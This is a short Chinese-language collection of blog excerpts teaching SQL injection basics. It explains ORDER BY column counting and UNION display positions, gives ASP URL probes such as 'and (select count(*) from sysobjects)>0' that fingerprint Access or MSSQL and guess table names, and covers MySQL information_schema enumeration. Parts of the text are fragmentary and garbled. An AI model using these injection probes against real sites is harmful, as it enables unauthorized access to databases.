/*每日更新,珍惜少年时博客*/ 1.问:为啥order by 是排序.而在注入当中后面加的却不是字段而是数字捏? 答:第N个字段嘛.order by 5就是第五个字段,如果5存在,6不存在.就说明只有五个字段咯. 2.问:为啥order by 猜出字段数了以后,就是联合查询的时候的个数(比如字段为4,为啥就是select 1,2,3,4捏?) 答:指定表就是:select 列名 form 表名 所以说有几个字段数,就有几个列明 3.问:为啥会出现显示位这个东东呀? 答:联合查询的结果是对应出现
asp站点 ()and = 和 and =)服务器类型判断(ACCESS MSSQL) http://URL.asp?id=24 and (select count(*) from sysobjects)>0 http://URL.asp?id=24 and (select count(*) from msysobjects)>0 ()表名 http://URL.asp?id=24 and (select count(*) from 表名)>0 ()列名 and ( ()order by
SQL注入基本知识 information_schema MySQL 中存储所有数据库名.所有表名.所有字段名的系统数据库叫 information_schema ,这是在 MySQL 数据库初始化就存在的系统库.库里存储数据库名.表名.字段名的表分别为 schemata .tables.columns(原始表名为大写,但小写也能取到数据). SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名';